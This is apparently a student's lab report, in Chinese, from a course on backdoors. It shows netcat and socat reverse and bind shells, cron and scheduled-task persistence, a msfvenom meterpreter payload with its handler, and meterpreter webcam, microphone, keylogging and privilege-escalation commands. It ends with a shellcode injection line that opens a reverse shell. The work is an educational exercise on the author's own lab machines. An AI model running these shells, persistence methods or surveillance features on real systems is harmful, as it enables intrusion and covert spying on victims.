Exp2 后门原理与实验 20175124符嘉讯

1.使用netcat获取主机操作Shellcron启动

1.1 知识与概念

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c选项可以直接给出执行命令,另一种不支持-e选项。
ncatnmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http

1.2 实验准备

 

关闭win10的防火墙

 

 

 

 

 

 先安装apt-get install ufw,然后再输入指令ufw disable关闭kali防火墙

 

 

 

 

 

 

 输入ipconfig获得win10IP

 

 

 

 输入ip add获得kaliIP

 

 

 

1.3 Win获得Linux Shell

windows打开监听,指令为ncat.exe -l -p 5124

kali反弹连接Windows,指令为nc 192.168.198.1 5124 -e /bin/sh

之后可以发现windows获得linux shell。可以执行指令Linux指令ls

 

 

 

1.4 Linux获得Win Shell

kali运行监听指令监听端口nc -l -p 5124

Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.198.128 5124

kali获得了Windows的命令行提示,可以执行dir指令

 

 

 

有关mac的实验由于没有环境所以没办法进行

1.5 利用nc传输数据

利用nckaliWindows之间传输数据

Windows输入ncat.exe -l 5124 > file.out(将kali输入数据输出的file.out文件,注:file.out文件使用txt打开)

kali运行指令为nc 192.168.198.1 5124 < file.in(将file.in文件中数据发送给Windows

 

 

 

1.6 启动cron

Windows打开端口监听nact -l -p 5124

kali这里输入指令crontab -e,选择3,在最后一行添加58 * * * * /bin/netcat 192.168.198.1 5124 -e /bin/sh,可以发现设定时间(即任何时刻的58分)到达后Windows就获得了shell

 

 

2.使用socat获取主机操作Shell, 任务计划启动

2.1 知识与概念

socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
这里我们只把socat作为传递shell的工具使用。

2.2 使用socat获取主机操作Shellcron启动

右击此电脑,点击管理,点击任务计划程序,再点击创建任务

 

 

 

填写任务名,新建一个触发器,选择按预定计划

 

 

 

 

点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5124 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5124,同时把cmd.exestderr重定向到stdout上:

 

 

 

 

创建好后任务准备就绪,到达预定时间后,再次打开时,可以发现之前创建的任务已经开始运行,并且会弹出一个cmd窗口,弹出的cmd窗口别关闭。此时,在kali中输入输入指令socat - tcp:192.168.198.1:5124,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5124端口,此时可以发现已经成功获得了一个cmd shell

 

 

 

 

 

 

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncatsocat传送到主机并运行获取主机Shell

Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5124 -f exe > meter_backdoor.exe这里的IP地址为控制端IP,即kaliIP,生成后门程序“meter_backdoor.exe

 

 

 

Windows下执行ncat.exe -l 5124 > meter_backdoor.exe,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.198.1 5124 < meter_backdoor.exe(注:这里的IP为被控主机IP,即WindowsIP

 

 

 

 

 

 

这时可以看到win成功接受了kaliexe文件

 

 

 

kali上使用msfconsole指令进入msf控制台

 

输入use exploit/multi/handler使用监听模块,设置payload

 

set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

 

set LHOST 192.168.198.128,这里用的是KaliIP,和生成后门程序时指定的IP相同

 

set LPORT 5124,同样要使用相同的端口

 

 

 

 

设置完成之后,输入指令exploit执行监听,并自己手动运行Windows下的后门程序,注:要检查自己的杀毒软件及Windows defender是否已关闭此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

 

 

 

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频

 

 

 

 

 

 

使用webcam_snap指令可以使用摄像头进行拍照

 

 

 

 

 

 

使用screenshot指令可以进行截屏

 

 

 

 

 

 

使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

 

 

 

使用getuid指令查看当前用户,使用getsystem指令进行提权操作(注:win10权限提取一开始没法实现还很好奇,经过和同学的交流,发现是系统本身的问题,win7的提权应该是可行的)

 

 

 

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

访问相关网站得到shellcode,通过实验一知我的shellcode起始地址为0xffffd6d0,把地址加在这段shellcode前面,在kali中用其生成input1文件。
perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1

然后在另一个终端打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //根据shellcode的指定内容来选择的。
set LPORT 4444 //根据shellcode的指定内容来选择的。
show options
exploit

在原来的终端输入命令'(cat input1;cat) | ./pwn20175124',然后再按一次回车,在另一个终端就可以得到shell开始运行

6.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
可能有些后门会以伪装成正常网站,点进去后立刻执行后台下载后门程序的方法进入系统,或者通过邮件下载链接,u盘自发移植等方式进入系统中。

(2)例举你知道的后门如何启动起来(winlinux)的方式?
Windows:将建立链接的可执行文件伪装成文本文件、游戏、网页等诱导用户打开,与其他文件进行捆绑启动
linux:以具有跟源文件一样时戳的特洛伊木马程序版本来代替二进制程序
Cronjob定时运行后门,入侵者每天在该时刻可以访问在启动区内隐藏后门

(3)Meterpreter有哪些给你映像深刻的功能?
能够读取其他计算机的大部分动作,比如屏幕截图、读取键盘、截取音频,我表弟对此感到十分有趣并邀请我尝试入侵他人电脑,我严词拒绝了。毕竟无权情况下监视他人是犯法的的。

(4)如何发现自己有系统有没有被安装后门?
利用杀毒软件经常对自己的系统进行扫描,看看有没有出现不知名的文件
可以利用一些专业的软件监视自己的cpu、内存的运行和占用情况,看是否出现莫名的大量占用,电脑的运行是否卡死
检查服务器和启动项是否有一些可疑的文件

7.实验总结与体会

这次实验,理论知识相对实验一较少,但是我却操作了更长的时间。遇到了很多独有的问题。我觉得无论是什么实验,细节是尤其重要的。比如各种各样的事前准备,关闭防火墙、获取IP还有如果不是这次实验,我可能还不知道上次我关闭的Windows defender又自动开启了。当然,实验能够顺利完成还是很让人兴奋的,尤其是Meterpreter,这与以前在信息安全课上做的实验很类似,信息安全是做了一个木马,然后植入,一个用户获取了另一个用户的一切,包括控制鼠标、键盘、摄像头,与本次实验十分类似。当时是直接用软件生成一个木马程序,经过这次实验,对后门的理解更进一步了,同时也加深了自己要学好相关知识来保护信息安全的决心。

 

posted @ 2020-03-17 18:51  符嘉讯  阅读(113)  评论(0编辑  收藏